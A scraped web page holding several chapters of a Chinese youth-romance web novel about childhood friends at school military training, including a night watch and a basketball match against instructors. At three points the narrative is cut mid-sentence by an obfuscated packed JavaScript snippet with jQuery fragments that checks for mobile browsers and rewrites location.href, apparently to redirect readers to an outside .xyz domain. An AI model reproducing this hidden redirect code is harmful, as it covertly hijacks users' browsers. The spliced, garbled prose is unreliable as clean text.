《春的预言书[青梅竹马]》 7. 第七页 chapter07. 昭昭的声音不知道从哪个犄角旮旯里钻了出来,“盈妹晚上请假出去了一趟。” 祁航的视线很快在商盈身上扫了一圈,“身体哪里有不舒服?” “没有不舒服。” 商盈把身后的白色塑料袋拿了出来,神色看起来有些别扭,“去买了点东西。” “她去给我买金银花露了。” 付明昭嘴馋,零食白天刚被内务官收光。 但办法总比困难多,清热解暑的金银花露就既能被她当饮料喝又不被教官扣下。 付明昭兴奋地从口袋里掏掏掏,一连拿出了三瓶金银花露,接着她又忽然从里面拿出了个手掌大小的玻璃瓶。 “这是什么?”付明昭一愣,疑惑地看着上面的包装转了一圈,“碘伏?” 上官熠:“碘伏当然是给伤口消毒的啊,初中上科学课的时候又睡觉了吧?” “我当然知道。”付明昭翻了个白眼,“我是在奇怪我们这儿谁受伤了,上官熠你一天不呛我就要死啊!” 祁航下意识看了一眼商盈。 商盈刚从塑料袋里找出了一卷医用绷带,正抵着头拆包装,“祁航,你过来。” “怎么了?”说着,他已经动身走到了商盈跟前。 祁航个子高,站在商盈面前完全将她拢在了阴影里,她下意识蹙起眉头,下一瞬跟前的人便侧过身让开了光源。 她又往上走了两个台阶,然后拍拍身边的位置,“坐下。” 祁航坐下了。 “手给我。” 祁航把右手递了出去。 “另一只手。” 祁航顿了一息,把左手交了出去。 付明昭挠了挠头,“嘶——怎么感觉这对话有点耳熟?” 上官熠肯定:“一般我们和狗狗交流的时候会这么说话。” 嗯。狗狗不愧是人类最好的朋友。 付明昭感叹:“航哥很通人性啊。” “张嘴就是造谣吗?”祁航扭过头来,神色幽怨,“那很出其不意了。” 付明昭吃瘪,连忙给嘴巴做了个拉链的姿势认怂。 “手张开。” 祁航回过头来,看到商盈捏住了他的指尖,接着他的整个手掌被掰开。 她的指尖纤细,泛着薄粉,用力的地方晕出淡淡的青白,漂亮又水嫩,和她这个人一样。 和商盈预料的一样,今天祁航插了半天的兜,鲜少伸出的左手果真是受伤了。 掌心蜿蜒了一道两个指节长的口子。 小心翼翼地撕下他手上摇摇欲坠的创可贴,商盈头也不抬地问道:“什么时候划的?” 声音温温的,带着些鼻音。 “搬器材的时候不小心划伤了。” 祁航的神色依旧恣漫散淡,漆黑的瞳仁盯着商盈,语调轻松,“已经找训练基地的医生处理过了,没什么大问题。” 他没问商盈是怎么发现他手掌受伤了的,大约是早就知道这点伤一定瞒不过商盈。 只是想到小猫一晚上都在为他东奔西走,毛都没吹干就赶过来了,祁航就觉得心脏既酸又软,像是被柠檬水滋了满怀。 咋这么可爱啊小猫? 商盈听到这里忍不住抬头瞪了祁航一眼,“你以为你是医生吗,少自以为是了。” 今天天气那么热,伤口很容易发炎感染,只贴一个创可贴根本不行。 何况他晚上又加训了十圈,出了那么多汗。 看他这么满不在意的态度,洗完澡估计也只是随手捞了个创可贴贴上。 抬头看见祁航看着她笑,商盈莫名,没好气道:“你笑什么?” 手都破了还笑,她更觉得此人有病。 “所以...尊贵的商盈女士现在是原谅我了吧?” 商盈:“......” 其实她早就不气了,那件事说到底就是该死的巧合太多了。 恰巧剪辑祁航的那条二创爆了,恰巧找不到联系方式的网友一窝蜂涌入学校论坛,恰巧就是这几天起了骂战,恰巧碰上领导决定端了匿名论坛的时候。 何况那件事硬要说,当初也是商盈自己默许祁航拿自己的手机发言的,结束后祁航也在各个他能发声的平台积极澄清了,只是愿意相信的人寥寥无几...但这也不能怪他。 商盈就是觉得好丢脸,没地方盛放她的这份脾气。 那就祁航来吧。 反正从小到大他们为彼此兜底过多少事,也不差这一件了。 “你这个伤口要及时换药哦。” 说着,商盈在最后收尾的时候犹豫了一下,打了个死结。 药店的姐姐和她说,假如患者是好动的小孩,最好要打死结。 祁航低头看着手里收尾后的绷带,眼底若有所思。 商盈见他不说话,还以为是他嫌弃自己包扎得不好,“条件有限,你可别......” “疼。”祁航忽然开口,接着把手送到商盈面前,一本正经地矫揉造作:“要商盈吹吹才能好。” 好个锤子。 温情的画面被打破,商盈又是一股无名火起,硬巴巴道:“祁航你别得寸进尺啊!” 上官熠和付明昭都被这动静吸引得扭回头来。 平心而论,商盈算是他们见过的人当中情绪最稳定、脾性最温和的小女孩了。 至少在他们从小到大的相处过程当中,几乎没见到商盈急眼,就连争论都很少有;但这仅限于商盈和他们相处,只要一到了祁航跟前,商盈就像变了个人似的,一会儿不见就会被他逗得炸毛。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223378|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当然,客观来讲,有时候确实是航哥做事太狗了。 他好像格外执着于把商盈逗毛这件事,仿佛商盈只要生气了,那他生活当中遇到的所有困难都能迎刃而解,效果堪比捡张彩票却中了大□□。 商盈直接忽略了祁航故作可怜的哼唧,起身把另一个塑料袋递了过去,“这些给你们。” “什么啊?” 上官熠打开塑料袋,发现里面冰凉贴、止汗露、一次性鞋垫、芦荟胶、驱蚊液、清凉喷雾、风油精......应有尽有,还都是多人份的,甚至还有给中暑的付明熹准备的藿香正气水。 他们三个男生哪能想到这么细节,每天军训出门前记得喷防晒喷雾都算他们讲究。 但海军基地的训练强度实在是太大了,今天一天下来不少男生都晒褪了皮。是以商盈买的这些东西对他们来说真是雪中送炭,说不感动肯定是不可能的。 “盈妹...我在这里点个付明熹代哭。”上官熠不好意思地挠了挠头,“等军训结束我们请你吃饭。” “没事,你们记得用就好了。”商盈被夸了有些小骄傲,搓了搓膝盖像是又想起了什么,“哦对了。” 商盈从自己的口袋里掏啊掏,最后掏出了一瓶蓝盖喷雾递给祁航,“这个是可以阻菌成膜、防止炎症的,你回去也可以喷一下。” 祁航看着上面“医用愈肤生物膜”七个字,想起这应该是上次商盈妈妈术后配的药剂。 海军训练基地在城郊,就为这事儿她特地还回了趟家? 晚上值夜并没有什么人来巡逻,四个人站了一会儿后就干脆都坐到廊檐下看星星了。 夜风阒静。 城郊空气清新,可见度高,能够望见遥远的瓦蓝苍穹之中细缀的星子,就像是锦缎里铺埋的银丝。 “祁航。”商盈扭捏了一会儿,接着很是认真地小声开口:“谢谢你今天帮我搬器材。” 她向来恩怨分明,承了别人的好意就一定会想方设法地回报。 祁航闻言往后支起胳膊,颊畔勾起一个浅淡的笑弧,“小事儿。” 能听到小猫咪咪喵喵地道谢,祁航瞬间觉得腰不酸了腿不疼了,甚至还能起来跑两圈。 碎发压住他清锐昳扬的眉眼,也让少年的暗爽变得不那么明显。 过了农历八月十五十六后的月亮格外清亮。 清辉泼洒下来,三角梅的枝叶摇摇晃晃撞碎半透明的银绿,树影落到石板路上,被浸透了月光的石阶也跟着闪起细碎的光。 正当四个人不约而同都安静下来的时候,一道男声凉凉传来,“你们在这儿小风一吹,小景一看,倒是挺悠闲啊。” 突如其来的声音把四个人都吓了一跳。 他们左右环视,才发现酱油色的教官从阴影里慢腾腾地踱步出来。 8. 第八页 chapter07. 四个人赶紧站了起来,除了祁航外,脑袋按得一个比一个低。 陈杰的目光自然而然地和祁航对上了,不由得问:“有事?” 祁航身姿笔挺,目不斜视,开口却是:“报告。有事。” 陈杰眉头一挑,还真有事? 他上下打量了一眼祁航才慢慢开口,“什么事?” “报告教官,助教之前说值夜站岗分上下半夜,现在上半夜的时间快到了......” 陈杰了然,“你想回去了?” 其实陈杰这回来原本就是想给个台阶让他们回去休息。 毕竟是学生又不是真的战士,第二天还要训练,哪能这么耗着。 谁知祁航却否认了,“报告。不是,那两个女生先来的,让他们回去吧,我们站后半夜。” 上官熠看了祁航一眼,收回眼神时又和付明昭对视上了。 付明昭刚想开口,但上官熠也扭开了头,没说什么。 陈杰有些意外。 他跟着基地的人来做教官之前也了解过阪阳私立这所学校,数一数二的私立高中,背靠霍氏财团,升学率是国内top级别。 学费并不很高,但与此同时阪阳私立对学生的综合素质便有更高要求,升学考试也有单独招考。 来这里就读的学生基本都是家境殷实、顺风顺水的孩子,娇气点也无可厚非,陈杰也无意去为难他们,只打算稍微敲打敲打便揭过了。 更何况对这个男生陈杰有印象,白天还被总教官盯着跑完了十圈,现在又来射击馆守夜,这才军训的第一天,正常情况下哪扛得住。 可他这么说,陈杰就觉得有点意思了。 他在监控里分明看到这两个男生先到了射击馆,接着几个人还说说笑笑地聊了会儿天,现在主动站出来说这话,还装不熟,图啥? 就为了让这两个女生回去早点休息? 关键他身边的那个男生也没拆穿。 还挺团结。 陈杰这样想着,目光落到了祁航的手上,“你这手怎么缠着绷带,受伤了?” “报告。白天搬器材的时候不小心划伤的。” “去过医务室了?” 陈杰踱步到祁航跟前,拿起他的手来端详了片刻,“这小绷带缠得挺别致啊。” 商盈动了动嘴想要说话,却又被祁航一个眼神摁下了。 大约这时候她要是开口说漏了祁航在撒谎,那他一定会被教官罚得更重。 祁航也摸了摸手上的绷带,“多亏了这圈绷带,我现在一点儿都不疼了,这绷带缠得真好。” 此人已经完全沉浸在自己的艺术里了,说得言之凿凿,把陈杰唬得一愣一愣的。 商盈:“......” 付明昭:“......” 上官熠:“......” 不是,哥们儿你...... 陈杰倒是觉得这小子挺好玩,也没再多为难这群孩子,爽快地让商盈和付明昭回去休息了。 拐角处三叶梅馥郁芬芳,橙黄色的灯光下花影摇簌。 原本要离开的商盈蓦地转过身,趁着教官不注意,她抬起自己的左手,右手指了指左手掌心,又绕了两圈。 上官熠也看到了,疑惑地小声问:“盈妹在干嘛?” 祁航双手插兜,闻言狭长昳扬的眼眸微眯,唇畔勾起浅淡的弧度,“提醒我换药呢。” 教官不知从哪个角落里又出现了。 商盈立时反应过来,拉着还在朝上官熠做鬼脸的付明昭跑进了三叶梅群堆砌的拐角,转眼就消失了。 祁航定定地望着那盏橘黄灯光倾泻下的光流,人已经不见了,只有三叶梅承着光静静地舒展开枝叶。 跑那么快。祁航想。 还真是小猫。 子夜过后,操场更加阒静。 上官熠忽然捂住了肚子,神色痛苦,“嘶——” 祁航不咸不淡,“要生了?” 上官熠咬牙切齿,“估计是付明昭又给我投喂过期零食了。” “昭昭给你的零食还敢接,你也是真心大。” 付明昭从小就是仓鼠属性,总爱屯零食,囤到最后要过期了,就抓她哥付明熹和上官熠过来帮她解决。 付明熹还好,糙养长大,打小就跟在付明昭后面给她善后。 但上官熠是个玻璃肠胃,随便吃吃就拉肚子。 就这,十七年了也不长点记性。 祁航选择尊重好友命运,放下助人情节。 “不说了。”上官熠原本苍白的脸色变得更加白了,他拽住祁航的手,“航哥,好兄弟,帮我打个掩护,马上回来。” 祁航拍拍他的肩,沉稳道:“赶紧走吧,别死这儿了。” 上官熠刚走后不久,“活阎王”陈杰就不知道从哪个角落里又冒出来了。 “身体素质挺不错的。”陈杰评价了一句。 操场上实打实跑了十圈晚上还能来站岗。 “报告。” 祁航说着耸了耸肩,“随便跑跑。” 去菜市场买菜不用给祁航塑料袋,因为他又已经装起来了。 “不止这个。”教官的眼神变得微妙起来,“真当我不知道,今天白天的器材和教材都是你一个人搬的?” 祁航默默站直军姿,不吭声了。 “现在知道紧张了,当时逞英雄的时候怎么没想到要是被抓包了怎么办?” “报告。” “讲。” 祁航的目光直视前方,眼眸漆黑如星,面不改色:“是我放了她鸽子。” “哼。”教官折了支狗尾巴草,熟练地剥叶、剔刺儿,然后叼上,“狡辩。就你们这些小把戏,我见得多了。” 祁航看了他一眼,收回视线,没说话。 “不过,你小子还算有担当。” 大约是夜深了,人总会不自觉地卸下心防。 教官摘下帽子,大掌往后捋了把自己的寸头,“干嘛,别用这种眼神看我,教官也是年轻过的。” 祁航扭回头:“......” 感觉他们说的就不是同一个事儿。 年轻...这和年轻有什么关系? 他就算七十岁也一定还是当打之年。 夏天的太阳开得很早,商盈坐在小板凳上,脸庞已经被阳光晒得发烫。 “那后来呢,你们真守到了六点回去休息的?” 第二天晨训结束,几个人守着馄饨摊等摊主出摊。 祁航见状朝付明昭招了招手,两人换了个位置,他坐到商盈的右边,颀长的身量替她挡住了绝大部分的阳光。 “没啊,我上了个厕所回来教官就让我们回去了。” 上官熠眼下青黑,不忘控诉付明昭,“昭昭你要是再给我投喂过期零食,我以后就不替你买漫画书打掩护了。” “过期了吗?”付明昭似乎并不惊讶,“可是丢了很可惜啊。” “什么意思啊付明昭,你知道过期了还给我吃??” “只是过了最佳赏味期又不是不能吃了...诶诶上官熠!不是说好只倾听不批判的吗啊啊啊!!!!” 军训上来三天的高强度训练给学生们来了个狠狠的下马威,接下来几天学生间几乎再没出过什么幺蛾子,来巡检的领导很满意,回去后就和海军基地的教官通气,在第二周放松了管制。 吃过饭,有大批学生排在办公室外面等着拿手机。 海军基地的住宿条件虽然不算太艰苦,但仍有不少物料补给是这里没有的,管制略微放松后,有不少学生都趁着中午休训的时间来这里拿手机和父母联系。 商盈和付明昭大约排了十五分钟的队,才登记好拿到自己的手机。 付明昭拿到手机后就飞快把这一周错过的微博刷了,商盈点开微信,给爸妈报了个平安,顿了顿,又给祁航的奶奶打了个电话。 搬离重园里后有段时间,商盈和祁航的父母都很忙,就在暑假把他们两个人送到疏川祁航奶奶家住了段日子。 商盈和自己的爷爷奶奶并不亲,反倒在祁航的奶奶身上感受到过很多以往在长辈身上不曾感觉到过的慈爱与和蔼,这份情感如同细密的针脚,妥帖地将她爱护。 “盈妹,航哥刚刚在群里发,今天中午他要打篮球,让我们去给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223379|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们加油。” 付明昭碰碰商盈的肩,说着说着又绕回了上官熠身上,“不过上官熠这个书呆子,都在军训基地了他还在写竞赛题,这会儿球赛也不看,就在寝室里坐着解题呢,这不是浪费生命是什么?!” 商盈听着,又打开手机看了一眼。 在名叫“全员ALL忍”的微信群里,祁航大爷似的发了句,[球赛,速来。] 这个群就他们五个人,都是打小一起长大的发小,平时打打闹闹又是互怼,但在面对家长时却出奇一致的怂,遂获封“全员ALL忍”。 付明熹也秒跟了句:[上官帮我带瓶水。] 上官熠:[读书勿扰。] 付明熹怼他:[菜。] 上官熠:[像你这种治好了也是流口水。] 就在这时候,商盈忽然发现祁航给她私发了条消息。 [别买水。] 商盈:“......” 她停顿一秒,随后立即敲击键盘,神情忿忿,仿佛被人侮辱了似的,[大白天的少做梦。] 紧接着对面秒回了一条四秒钟的语音。 商盈本想转文字,却被付明昭手肘一撞点开了话筒。 里面传来了长达四秒的祁航的笑声,夹杂着风声,没有任何内容。 商盈:“......” 谁来立法禁止祁航发送语音消息? 等到商盈和付明昭交了手机走到篮球场的时候,场地外已经被围了个水泄不通。 平时有祁航在的球赛就有不少女生,这会儿大家都被收了手机也没事干,就多了不少学生围观。 付明熹远远地就看见自家妹妹和商盈被堵在了外面。 他块头大,身形健硕,一马当先挤进人群给他们开路,把他们两个人带了进来。 接着又给他们细心地找了个石凳,“昭昭,盈妹,这里有树荫,你们就在这儿坐着吧。” 商盈点点头,也跟着付明昭一起说:“谢谢哥。” 付明熹是他们五个人里年龄最大的,平时大家都管他叫哥,祁航和他各论各的,不冲突。 等付明昭看清场上的人后吓得嘴皮子都不利索了,“活活活、活阎王?!” 意识到自己的失言,她连忙捂住了自己的嘴巴,随即又小小声道:“航哥他们是要和教官们一起打球?!” “航哥不就是这样。”长凳另一侧,上官熠扶着黑框眼镜默默开口,“和谁都能唠上两句,三句之内必成兄弟。” 话虽如此,可那是教官啊,而且是才认识了一天半的教官...! 付明昭回过头去,不看不知道,一看吓一跳,“上官熠,你不是说要做竞赛题不来看比赛吗?” 上官熠平静道:“哦。我以为你们是要我帮着补暑假作业,诓我出来呢。” 付明昭当场薅袖子,“上、官、熠!” 看着他们打打闹闹,商盈回过神来,问付明熹:“哥,祁航呢?” “他?”付明熹也没注意到他的动向,“估计是被女生拉着合照去了吧。” 这些事他们司空见惯。 等球赛结束后,这个人数还将增长。 这时候身后的人群忽然发出了一阵小小的骚动。 紧接着商盈就感觉自己的脑袋被人不轻不重地弹了一下。 商盈捂着脑袋抬头,阳光野烈,她眯过眼,果不其然看见了一张笑得格外欠揍的脸。 被瞪的少年弯着一双狐狸似的狭长深邃的眼,笑她:“呆。” 这时候的商盈反应更快,以迅雷不及掩耳盗铃响叮当之速就给了祁航腹部一拳。 速度之快,令人咋舌。 毕竟商盈平时干事都是温吞仔细的性格,唯独在这件事上可谓是熟能生巧。 语言说不通的东西就让武力来。 肘击竹马十七年,战绩可查。 祁航也不生气,只是笑着耸了下肩,转过身一路小跑入场。 付明昭:“航哥给我一种每次要盈妹骂一句才有力气做事的感觉。” 上官熠:“真怕盈妹给他骂爽了。” “同意。” 两个人达成了短暂的和解。 9. 第九页 chapter09. 烈日当头,教官站在场地中心,手掌捧球。 两边的队伍分列排开,公平起见,每个队伍抽签决定队员,祁航所在的蓝队是两个教官和三个学生,而红队则是三个教官和两个学生。 中间的教官和双方说了些什么,两队领头的人点点头,接着尖锐醒耳的哨音扬起,穿刺云霄。 比赛正式开始。 篮球比赛分为上半场和下半场,每个半场又分为两个小节。 祁航打了上半场,毛遂自荐担任前锋摇摆人。他个高腿长,运球过人强度极高,动作敏捷利落,以小前锋为核的纯进攻阵容从开始简直就是势如破竹,蓝队捷报频传。 比赛开始前对祁航尚有疑虑的教官们也放下怀疑极力喝彩,在接下来的赛程当中不约而同地将篮球传向祁航。 商盈托腮望着场上挥汗如雨的球员们,不知道是不是心理作用,祁航似乎始终牢牢地抓着所有人的视线,好像他在哪里,焦点就在哪儿。 高一的时候年级里曾经流传过一句话,要是祁航当前锋,赢下比赛简直是易如反掌。 身边的学生自发组成啦啦队,后援声势浩大,付明昭更是站到了石凳上面,双手拢成了个喇叭高喊:“红队加油!祁航必胜!红队加油!!!!” 随着一声悠长的哨音,球赛第一节戛然而止,观众们兴奋的哨声却此起彼伏。 原因无他,第一节的时候球员们状态都很好,其中还有不少漂亮的截断和盖帽球,简直就是神仙打架,蓝队优势也十分明显,第一节打足了士气与风采。 付明昭的嗓子都快喊劈叉了,还拉着商盈一同站起来喊,“盈妹你看到了吗,航哥刚刚那个三步上篮太帅了啊啊啊啊啊啊!!!!” 技巧娴熟、角度精准、上篮霸道,很漂亮的一个三步上篮。 商盈看得也有些激动,她虽然并不很会打篮球,但这十七年来没吃过猪肉也见过猪跑,祁航的每场球赛她几乎都在场,自然懂篮下三人同时强防他还能顶住压力上篮得分的含金量。 祁航接过付明熹的水,扭开瓶盖喝了两口,转过身朝商盈挑了挑眉。 眉眼含笑,随性恣意。 商盈几乎都能想见他的语气。 ——真是大风吹门框,帅得响当当。 明明左手昨天还受伤了,现在还这么高强度的运动,这个人不装会死吗? 果然是个热衷于表现的肤浅家伙,商盈想。同时她决定今天不论祁航如何卖惨她也不会给他吹吹了。 篮球场上,另有几个红队的队员绕着场气喘吁吁地放松肌肉,还有几个教官在那里商量对策。 商盈直觉不安。 果然,到第二节的时候吃了亏的红队开始对祁航严防死守,甚至派出了个人高马大的教官专门防他。 那个教官一个就顶两个祁航那么厚。 以祁航为锚点,所有传向他的球都被蓝队的人拦断,还发生了好几次肢体冲突,红队的其他人见状,只能自己带球突围,场上的气氛一时之间异常焦灼。 蓝队在前锋祁航被防后接连失分,上半场结束的哨声响起时,原本大比分占优的蓝队仅以两分的分差险居首位。 第二节结束,汗如雨下。 祁航抹了把脸,将额前的碎发往后拨,眉眼和额头暴露在空气当中显得愈加锋锐昳扬,眉眼微蹙,有人和他打招呼时他又扬起笑,还拍了拍队友的肩膀,安慰他们不要着急。 明明他自己才是打得最不痛快的那个。 第三节临开场前,蓝队的人经过商量后一致决定,先让祁航下场休息。 原本就是常规的友谊赛,祁航又在烈日下连打两节,纵有通天的本领他也不可能再上场了,何况现在蓝队的人盯死了祁航,再这么针对下去便会失去友谊赛的初衷。 下了场的祁航气喘吁吁,拽起衣角擦了擦额角的汗,有瞬间露出了截紧实劲瘦的腰腹。 他松了松手上的腕带,又弯腰提了瓶不知道什么东西,迈开长步往观众席走来。 商盈察觉到有几个女生从刚刚开始就在互相推搡着,看看这里又回头私语。 她有些疑惑,下意识扭头望了眼他们。 祁航也跟着她的视线看向了那群女生。 就在这一瞬间,他们推出了个皮肤雪白的女生。 瓜子脸,大眼睛,长得文静又漂亮,走到了祁航面前。 “祁、祁航。”她的声音细若蚊蚋,细听像是在发抖,但面庞上沁出了淡淡的薄粉,“给你水。” 祁航耐着性子听她讲完,末了点点头,礼貌到像是有恰到好处的疏离,“谢谢,不过我有水了。” 商盈正看着戏,祁航却绕过他们在她面前站定。 “......” “......” 两相对视,商盈防备地捂住了脑袋。 小猫只露出一双琥珀似的杏眼,戒备道:“有什么事吗?” 祁航觉得好笑,“防我?” 商盈谨慎又含蓄:“毕竟会咬人的狗不叫。” 付明熹打过一节就下场了,他一路小跑着跟上来,“航哥你已经打得很好了,今天看得太过瘾咯!对面的教官比我们多一个,而且他们本来就是当兵的,体力肯定更胜我们一筹。” 蓝队颓势尽显,祁航被防得这么厉害,相当于在接下来的比赛当中都被封死了。 他们这么说也是希望祁航心里能好受点,毕竟大家都能看出祁航打得非常投入。 “是啊,而且航哥的三分真的越来越厉害了,对面教官肯定一下子就注意到你了,否则也不会在第二节就开始防死你。”付明昭跟着附和,竖起大拇指,“航哥今天真的爆帅!” “理论上来说,航哥应该在第一节藏拙…让对面轻视我们,然后再在第四节打他们个措手不及。”上官熠说着推了推眼镜,话锋一转,“不过帅是一辈子的事情,支持航哥在第一节扣爆对面篮筐!” 祁航轻笑了声,倒是没他们预料当中的急躁或是懊恼,反倒视线一转,“你呢?” 骤然承到视线的商盈还没来得及反应,“嗯?” 他喘着气,却弯下腰同商盈平视,鼻尖冒着细汗,“你也觉得我们会输吗?” …… 围观的观众隔着一段距离,就看见祁航在一个长相白净乖巧的女生身侧坐下了。 两人有一搭没一搭地聊了几句,接着他们就目睹祁航把手边另一瓶冒着冷气的冰镇葡萄汁递给了那个女生。 “诶,祁航是把自己的水给了商盈吗?” “看惯了给打篮球的人送水,第一次见打篮球的给看比赛的送水。”高一的新生直呼稀罕。 高二的学生则是一副见怪不怪的模样。 在他们的印象中,祁航和商盈这对青梅竹马总是形影不离,就连上厕所一个进去后也一定能看见另一个等在门外。 要说送果汁还不稀罕,如果打球打的足够久,他们甚至可以看见一个月总有三四天他带的是姜汁红糖。 在观众的一连串猜测当中,祁航站起了身,穿过人群后又路过记分板,倚着计分板和记分员闲聊两句,过程中他又下意识撩了把额前的头发,将刘海往后压,笑容恣意又明朗,带着鲜活的少年气。 “他这是...还要上场?!” “这也太喜欢出风头了吧,他都被防死了上去有啥用?” 周围的人纷纷猜测,“估计是当中锋吸引火力吧?” 毕竟前锋需要强大的体力和敏锐的判断力,他在前两节的体力消耗是巨大的,这时候不论是持久力还是爆发力应该都已经跟不上了。 付明熹被换了上来,众人慢慢往前走,伴随着队伍的形状渐成,祁航不紧不慢地进场,又做了一套拉伸,最后,他停在了队伍中间。 众人忽然意识到——祁航是三分卫! 对面也很惊讶。 毕竟祁航的体力已经在前两小节中耗得差不多了,最后一节担任三分卫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223380|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人选十分重要,一般来说会选择休息半场的主力或者是还没上场的底牌。 “蓝队是没人了吗,怎么又让这小子上?” 总教官拍了拍手,忍不住看向一侧酱油色的人,戏谑:“陈杰,看来这次比赛你要输了啊。” 陈杰站在场外,只笑了笑,没说话。 祁航在场上一站定,蓝队的目光就忍不住往他身上飘。 惦记着他是得分后卫,蓝队整场的进攻节奏都在祁航身上,直到被付明熹追了两个一分球、一个两分球,他们才反应过来这是红队的帽子戏法。 付明熹罚球时,祁航就这样背着手像个老大爷似的溜边缓缓路过蓝队,还不忘点评一句,“球打得不错。” 蓝队心知中计,拉拉个脸,“...你在嘲讽我们吗?” 祁航很惊讶:“你们这辈子没遇到过好人吗?” 蓝队众人:“......” 好啊。 在被嘲笑球技的同时还失去了风度。 下半节蓝队迅速调整策略,不再把全部注意力放在祁航身上,一人专门盯着他,其他人都去打配合。 两支队伍打得有来有回,比分也很胶着,但由于前三节蓝队积累起了比分优势,因此蓝队在总体成绩上仍占微弱优势。 蓝队的队员互相给了个眼神,示意最后三分钟要稳住。 就在这时候,一道身影如飓风闪电穿过了人群,打破了这相持已久的平静。 只见祁航晃了个假动作后转身突破,紧接着带球一路长驱直入,滑步过人起跳扣篮一气呵成。 众人惊讶地看向从篮筐下走出来的祁航。 他喘着气,仍旧笑,“比赛开始了。” 不同于平时散漫明朗的淡笑,他这次的笑,凝眉,露齿,清锐过头的眉目间更是充满野心勃勃的挑衅和饶有兴味的暗蛰。 红队最后三分钟在祁航的带领下,又打出了让蓝队措手不及的配合,没人能料到祁航是个体能怪物,在连着打了两节球赛后,居然还有这么可怕的体能和反应力。 哨声响起的那一刻,篮球脱手。 “吁——” 篮网晃了两下。 祁航下意识转头,目光却像是穿过人群落到了一个安静的身影上。 众人在这时候终于看清了结算后的比分板—— 49:47。 不是平局,是胜利! 短暂安静了几秒后,现场的欢呼声几乎沸反盈天。 陈杰更是激动地冲进场子抱起祁航转了两圈,“好小子,我就知道没看错你!” “随便打打。”祁航勾着唇,被人群簇拥着欢呼,几个好队友又想抱起他将他往上抛。 祁航笑着摆摆手,婉拒了他们的好意后,转过身挤出了人群。 他们还在纳闷祁航怎么忽然离场,却看见他一路走到场边才停下。 然后。 倒在了商盈身上。 很烫很长的一条人直接挂在了商盈身上。 商盈一愣,然后瞬间炸毛:“啊!全是汗!” 祁航笑起来,故意圈住了商盈不让她跑,“啊,累死了。” 他的下巴搁在商盈肩头,热气蒸腾出隐约的柑橘气息。 那是祁航洗发水的味道。 商盈糯白的小脸皱成一团,使尽浑身解数把祁航的脑袋往外推,“走开啊!邋遢鬼!” 她刚刚应该直接拔腿就跑的啊啊啊啊! 在一派欢呼声当中,商盈忽然想起他把冰镇葡萄汁塞到自己手心时说的那句话。 他问自己,“你觉得我们会输吗?” 鲜榨的葡萄果汁,杯壁还冒着大颗大颗的水珠。 商盈将它捂在手心,感受着冰爽的冷气穿渡过她的肌肤,可是却又像是什么灼烧的火苗,长在身体里。 商盈还记得自己十分肯定的回答。 她说:“红队可能会输,但祁航不会。” 拜托,那可是祁航诶。 10. 第十页 chapter10. 球赛结束后,商盈才知道这场篮球赛的赌注是整个连的违禁品惩罚。 这回海军基地的违禁品检查非常严格,基本上每个连都有至少半数的人被罚了劳动教育。 像商盈和付明昭这样守夜一晚上的已经算是程度较轻,其他连里多的是需要连着好几天打扫训练场地和厕所的人。 红队这回赢了球赛,连带着一连、八连、十四连的人都不再需要劳动教育,下午的训练解散时大家都很高兴。 除了蓝队和商盈。 “他比完赛就是个邋遢鬼。”商盈一边吹头发一边生气道:“他非常在意自己的外表,接受不了篮球赛后自己那个狼狈样,于是就要把别人都变得那么狼狈,简直可恶!” 鬼知道她今天洗了几遍澡,一想到他们连沐浴露的味道都是一样的,商盈就更生气了。 正当她对着镜子梳理头发时,一对女生结伴走了过去。 “今天的球赛你看了吗,超级精彩!” “看了!草,祁航帅得好爽。” “帅得好爽...什么意思?” 那个女生比划了一下,“大概就是...就是帅得很扎眼,但是又很有活人味。” “那我也觉得!!他真的爆帅!!而且超有少年感!!” 商盈听着他们的对话,顿了两秒钟,扭头问付明昭:“昭昭,刚刚他们说的是祁航吗?” “是啊。”付明昭正捣鼓着刚借来的直板夹,满不经意道:“我们学校还有第二个祁航吗,就算有,能比航哥帅吗?” 商盈想了一会儿,忿忿道:“所有人都被他的外表所误导。” 吃过饭到了晚训的时候,操场上出现了几个巨大的音箱。 教官们说要带着学员们操练军歌,列出了一系列诸如《团结就是力量》《打靶归来》《强军战歌》之类的曲目,基本都是朗朗上口、教过一两次就能唱出来的歌。 后来教官们觉得教学难度太低,就干脆教起了对歌。 两个连队面对面地坐下,商盈觉得无聊,便趁夜色悄悄往后面爬了几步。 教官在这个时候宣布了规则:“几个连队抽签对唱,只要参加就能加一分的平时分,声音最小的连队要接受惩罚,赢的连队可以加两分。” 阪阳私立的平时分与期末的综测以及名校申请挂钩,含金量不言而喻。 “.......” 商盈又默默爬了回去。 巡逻的镝灯刚刚扫过去,周围落入短暂的昏暗。 商盈忽然感觉有什么扼住了她命运的后脖颈,一用力她就一屁股倒栽回了草地上。 